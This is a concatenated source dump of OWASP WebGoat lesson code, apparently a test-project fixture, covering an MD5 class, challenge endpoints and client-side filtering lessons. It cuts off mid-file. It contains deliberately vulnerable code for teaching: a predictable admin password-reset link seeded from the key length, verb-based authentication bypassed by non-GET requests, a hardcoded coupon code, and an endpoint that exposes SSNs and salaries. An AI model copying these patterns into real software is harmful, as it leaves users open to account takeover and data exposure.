If length bytes are not available to be hashed, as many bytes as possible will be hashed. * * @param buffer Array of bytes to be hashed. * @param length number of bytes to hash. * @since ostermillerutils 1.00.00 */ public void update(byte buffer[], int length) { update(buffer, 0, length); } /** * Update this hash with the given data. * * @param buffer Array of bytes to be hashed. * @since ostermillerutils 1.00.00 */ public void update(byte buffer[]) { update(buffer, 0, buffer.length); } /** * Updates this hash with a single byte. * * @param b byte to be hashed. * @since ostermillerutils 1.00.00 */ public void update(byte b) { byte buffer[] = new byte[1]; buffer[0] = b; update(buffer, 1); } /** * Update this hash with a String. The string is converted to bytes using the current platform's * default character encoding. * * @param s String to be hashed. * @since ostermillerutils 1.00.00 */ public void update(String s) { update(s.getBytes()); } /** * Update this hash with a String. * * @param s String to be hashed. * @param enc The name of a supported character encoding. * @throws UnsupportedEncodingException If the named encoding is not supported. * @since ostermillerutils 1.00.00 */ public void update(String s, String enc) throws UnsupportedEncodingException { update(s.getBytes(enc)); } /** * The current state from which the hash sum can be computed or updated. * * @since ostermillerutils 1.00.00 */ private MD5State workingState = new MD5State(); /** * Cached copy of the final MD5 hash sum. This is created when the hash is requested and it is * invalidated when the hash is updated. * * @since ostermillerutils 1.00.00 */ private MD5State finalState = new MD5State(); /** * Temporary buffer cached here for performance reasons. * * @since ostermillerutils 1.00.00 */ private int[] decodeBuffer = new int[16]; /** * 64 bytes of padding that can be added if the length is not divisible by 64. * * @since ostermillerutils 1.00.00 */ private static final byte padding[] = { (byte) 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; /** * Contains internal state of the MD5 class. Passes MD5 test suite as defined in RFC1321. * * @since ostermillerutils 1.00.00 */ private class MD5State { /** * True if this state is valid. * * @since ostermillerutils 1.00.00 */ private boolean valid = true; /** * Reset to initial state. * * @since ostermillerutils 1.00.00 */ private void reset() { state[0] = 0x67452301; state[1] = 0xefcdab89; state[2] = 0x98badcfe; state[3] = 0x10325476; bitCount = 0; } /** * 128-byte state * * @since ostermillerutils 1.00.00 */ private int state[] = new int[4]; /** * 64-bit count of the number of bits that have been hashed. * * @since ostermillerutils 1.00.00 */ private long bitCount; /** * 64-byte buffer (512 bits) for storing to-be-hashed characters * * @since ostermillerutils 1.00.00 */ private byte buffer[] = new byte[64]; private MD5State() { reset(); } /** * Set this state to be exactly the same as some other. * * @param from state to copy from. * @since ostermillerutils 1.00.00 */ private void copy(MD5State from) { System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length); System.arraycopy(from.state, 0, this.state, 0, this.state.length); this.valid = from.valid; this.bitCount = from.bitCount; } } /** * Turns array of bytes into string representing each byte as a two digit unsigned hex number. * * @param hash Array of bytes to convert to hex-string * @return Generated hex string * @since ostermillerutils 1.00.00 */ private static String toHex(byte hash[]) { StringBuilder buf = new StringBuilder(hash.length * 2); for (byte element : hash) { int intVal = element & 0xff; if (intVal < 0x10) { // append a zero before a one digit hex // number to make it two digits. buf.append("0"); } buf.append(Integer.toHexString(intVal)); } return buf.toString(); } private static int FF(int a, int b, int c, int d, int x, int s, int ac) { a += ((b & c) | (~b & d)); a += x; a += ac; // return rotateLeft(a, s) + b; a = (a << s) | (a >>> (32 - s)); return a + b; } private static int GG(int a, int b, int c, int d, int x, int s, int ac) { a += ((b & d) | (c & ~d)); a += x; a += ac; // return rotateLeft(a, s) + b; a = (a << s) | (a >>> (32 - s)); return a + b; } private static int HH(int a, int b, int c, int d, int x, int s, int ac) { a += (b ^ c ^ d); a += x; a += ac; // return rotateLeft(a, s) + b; a = (a << s) | (a >>> (32 - s)); return a + b; } private static int II(int a, int b, int c, int d, int x, int s, int ac) { a += (c ^ (b | ~d)); a += x; a += ac; // return rotateLeft(a, s) + b; a = (a << s) | (a >>> (32 - s)); return a + b; } private static byte[] encode(long l) { byte[] out = new byte[8]; out[0] = (byte) (l & 0xff); out[1] = (byte) ((l >>> 8) & 0xff); out[2] = (byte) ((l >>> 16) & 0xff); out[3] = (byte) ((l >>> 24) & 0xff); out[4] = (byte) ((l >>> 32) & 0xff); out[5] = (byte) ((l >>> 40) & 0xff); out[6] = (byte) ((l >>> 48) & 0xff); out[7] = (byte) ((l >>> 56) & 0xff); return out; } private static byte[] encode(int input[], int len) { byte[] out = new byte[len]; int i, j; for (i = j = 0; j < len; i++, j += 4) { out[j] = (byte) (input[i] & 0xff); out[j + 1] = (byte) ((input[i] >>> 8) & 0xff); out[j + 2] = (byte) ((input[i] >>> 16) & 0xff); out[j + 3] = (byte) ((input[i] >>> 24) & 0xff); } return out; } private int[] decode(byte buffer[], int len, int offset) { int i, j; for (i = j = 0; j < len; i++, j += 4) { decodeBuffer[i] = ((buffer[j + offset] & 0xff)) | (((buffer[j + 1 + offset] & 0xff)) << 8) | (((buffer[j + 2 + offset] & 0xff)) << 16) | (((buffer[j + 3 + offset] & 0xff)) << 24); } return decodeBuffer; } private static void transform(MD5State state, int[] x) { int a = state.state[0]; int b = state.state[1]; int c = state.state[2]; int d = state.state[3]; /* Round 1 */ a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */ d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */ c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */ b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */ a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */ d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */ c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */ b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */ a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */ d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */ c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */ b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */ a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */ d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */ c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */ b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */ /* Round 2 */ a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */ d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */ c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */ b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */ a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */ d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */ c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */ b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */ a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */ d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */ c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */ b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */ a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */ d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */ c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */ b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */ /* Round 3 */ a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */ d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */ c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */ b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */ a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */ d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */ c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */ b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */ a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */ d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */ c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */ b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */ a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */ d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */ c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */ b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */ /* Round 4 */ a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */ d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */ c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */ b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */ a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */ d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */ c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */ b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */ a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */ d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */ c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */ b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */ a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */ d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */ c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */ b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */ state.state[0] += a; state.state[1] += b; state.state[2] += c; state.state[3] += d; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge7; import java.util.Random; /** * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents * * @author nbaars * @since 8/17/17. */ public class PasswordResetLink { public String createPasswordReset(String username, String key) { Random random = new Random(); if (username.equalsIgnoreCase("admin")) { // Admin has a fix reset link random.setSeed(key.length()); } return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); } public static String scramble(Random random, String inputString) { char[] a = inputString.toCharArray(); for (int i = 0; i < a.length; i++) { int j = random.nextInt(a.length); char temp = a[i]; a[i] = a[j]; a[j] = temp; } return new String(a); } public static void main(String[] args) { if (args == null || args.length != 2) { System.out.println("Need a username and key"); System.exit(1); } String username = args[0]; String key = args[1]; System.out.println("Generation password reset link for " + username); System.out.println( "Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key)); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge8; import java.util.HashMap; import java.util.Map; import java.util.stream.Collectors; import javax.servlet.http.HttpServletRequest; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.challenges.Flag; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/8/17. */ @RestController @Slf4j public class Assignment8 extends AssignmentEndpoint { private static final Map votes = new HashMap<>(); static { votes.put(1, 400); votes.put(2, 120); votes.put(3, 140); votes.put(4, 150); votes.put(5, 300); } @GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity vote( @PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) { // Simple implementation of VERB Based Authentication String msg = ""; if (request.getMethod().equals("GET")) { var json = Map.of("error", true, "message", "Sorry but you need to login first in order to vote"); return ResponseEntity.status(200).body(json); } Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0); votes.put(nrOfStars, allVotesForStar + 1); return ResponseEntity.ok() .header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)) .build(); } @GetMapping("/challenge/8/votes/") public ResponseEntity getVotes() { return ResponseEntity.ok( votes.entrySet().stream() .collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue()))); } @GetMapping("/challenge/8/votes/average") public ResponseEntity> average() { int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum(); int categories = votes.entrySet().stream() .mapToInt(e -> e.getKey() * e.getValue()) .reduce(0, (a, b) -> a + b); var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes)); return ResponseEntity.ok(json); } @GetMapping("/challenge/8/notUsed") public AttackResult notUsed() { throw new IllegalStateException("Should never be called, challenge specific method"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge8; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author nbaars * @since 3/21/17. */ @Component public class Challenge8 extends Lesson { @Override public Category getDefaultCategory() { return Category.CHALLENGE; } @Override public String getTitle() { return "challenge8.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.chromedevtools; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author TMelzer * @since 30.11.18 */ @Component public class ChromeDevTools extends Lesson { @Override public Category getDefaultCategory() { return Category.GENERAL; } @Override public String getTitle() { return "3.chrome-dev-tools.title"; // 3rd lesson in General } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.chromedevtools; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * This is just a class used to make the the HTTP request. * * @author TMelzer * @since 30.11.18 */ @RestController public class NetworkDummy extends AssignmentEndpoint { @PostMapping("/ChromeDevTools/dummy") @ResponseBody public AttackResult completed(@RequestParam String successMessage) { UserSessionData userSessionData = getUserSessionData(); String answer = (String) userSessionData.getValue("randValue"); if (successMessage != null && successMessage.equals(answer)) { return success(this).feedback("xss-dom-message-success").build(); } else { return failed(this).feedback("xss-dom-message-failure").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.chromedevtools; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * Assignment where the user has to look through an HTTP Request using the Developer Tools and find * a specific number. * * @author TMelzer * @since 30.11.18 */ @RestController @AssignmentHints({"networkHint1", "networkHint2"}) public class NetworkLesson extends AssignmentEndpoint { @PostMapping( value = "/ChromeDevTools/network", params = {"network_num", "number"}) @ResponseBody public AttackResult completed(@RequestParam String network_num, @RequestParam String number) { if (network_num.equals(number)) { return success(this).feedback("network.success").output("").build(); } else { return failed(this).feedback("network.failed").build(); } } @PostMapping(path = "/ChromeDevTools/network", params = "networkNum") @ResponseBody public ResponseEntity ok(@RequestParam String networkNum) { return ResponseEntity.ok().build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java ================================================ package org.owasp.webgoat.lessons.cia; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author BenediktStuhrmann * @since 11/2/18. */ @Component public class CIA extends Lesson { @Override public Category getDefaultCategory() { return Category.GENERAL; } @Override public String getTitle() { return "4.cia.title"; // 4th lesson in general } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java ================================================ package org.owasp.webgoat.lessons.cia; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class CIAQuiz extends AssignmentEndpoint { String[] solutions = {"Solution 3", "Solution 1", "Solution 4", "Solution 2"}; boolean[] guesses = new boolean[solutions.length]; @PostMapping("/cia/quiz") @ResponseBody public AttackResult completed( @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution, @RequestParam String[] question_2_solution, @RequestParam String[] question_3_solution) { int correctAnswers = 0; String[] givenAnswers = { question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0] }; for (int i = 0; i < solutions.length; i++) { if (givenAnswers[i].contains(solutions[i])) { // answer correct correctAnswers++; guesses[i] = true; } else { // answer incorrect guesses[i] = false; } } if (correctAnswers == solutions.length) { return success(this).build(); } else { return failed(this).build(); } } @GetMapping("/cia/quiz") @ResponseBody public boolean[] getResults() { return this.guesses; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java ================================================ package org.owasp.webgoat.lessons.clientsidefiltering; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class ClientSideFiltering extends Lesson { @Override public Category getDefaultCategory() { return Category.CLIENT_SIDE; } @Override public String getTitle() { return "client.side.filtering.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.clientsidefiltering; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "ClientSideFilteringHint1", "ClientSideFilteringHint2", "ClientSideFilteringHint3", "ClientSideFilteringHint4" }) public class ClientSideFilteringAssignment extends AssignmentEndpoint { @PostMapping("/clientSideFiltering/attack1") @ResponseBody public AttackResult completed(@RequestParam String answer) { return "450000".equals(answer) ? success(this).feedback("assignment.solved").build() : failed(this).feedback("ClientSideFiltering.incorrect").build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.clientsidefiltering; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/6/17. */ @RestController @AssignmentHints({ "client.side.filtering.free.hint1", "client.side.filtering.free.hint2", "client.side.filtering.free.hint3" }) public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { public static final String SUPER_COUPON_CODE = "get_it_for_free"; @PostMapping("/clientSideFiltering/getItForFree") @ResponseBody public AttackResult completed(@RequestParam String checkoutCode) { if (SUPER_COUPON_CODE.equals(checkoutCode)) { return success(this).build(); } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.clientsidefiltering; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.PostConstruct; import javax.xml.xpath.XPath; import javax.xml.xpath.XPathConstants; import javax.xml.xpath.XPathExpressionException; import javax.xml.xpath.XPathFactory; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ClassPathResource; import org.springframework.util.FileCopyUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.InputSource; @RestController @Slf4j public class Salaries { @Value("${webgoat.user.directory}") private String webGoatHomeDirectory; @PostConstruct public void copyFiles() { ClassPathResource classPathResource = new ClassPathResource("lessons/employees.xml"); File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering"); if (!targetDirectory.exists()) { targetDirectory.mkdir(); } try { FileCopyUtils.copy( classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml"))); } catch (IOException e) { throw new RuntimeException(e); } } @GetMapping("clientSideFiltering/salaries") @ResponseBody public List> invoke() { NodeList nodes = null; File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml"); XPathFactory factory = XPathFactory.newInstance(); XPath path = factory.newXPath(); int columns = 5; List> json = new ArrayList<>(); java.util.Map employeeJson = new HashMap<>(); try (InputStream is = new FileInputStream(d)) { InputSource inputSource = new InputSource(is); StringBuilder sb = new StringBuilder(); sb.append("/Employees/Employee/UserID | "); sb.append("/Employees/Employee/FirstName | "); sb.append("/Employees/Employee/LastName | "); sb.append("/Employees/Employee/SSN | "); sb.append("/Employees/Employee/Salary "); String expression = sb.toString(); nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET); for (int i = 0; i < nodes.getLength(); i++) { if (i % columns == 0) { employeeJson = new HashMap<>(); json.add(employeeJson); } Node node = nodes.item(i); employeeJson.put(node.getNodeName(), node.getTextContent()); } } catch (XPathExpressionException e) { log.error("Unable to parse xml", e); } catch (IOException e) { log.error("Unable to read employees.xml at location: '{}'", d); } return json; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.clientsidefiltering; import com.google.common.collect.Lists; import java.util.List; import java.util.Optional; import lombok.AllArgsConstructor; import lombok.Getter; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/6/17. */ @RestController @RequestMapping("/clientSideFiltering/challenge-store") public class ShopEndpoint { @AllArgsConstructor private class CheckoutCodes { @Getter private List codes; public Optional get(String code) { return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); } } @AllArgsConstructor @Getter private class CheckoutCode { private String code; private int discount; } private CheckoutCodes checkoutCodes; public ShopEndpoint() { List codes = 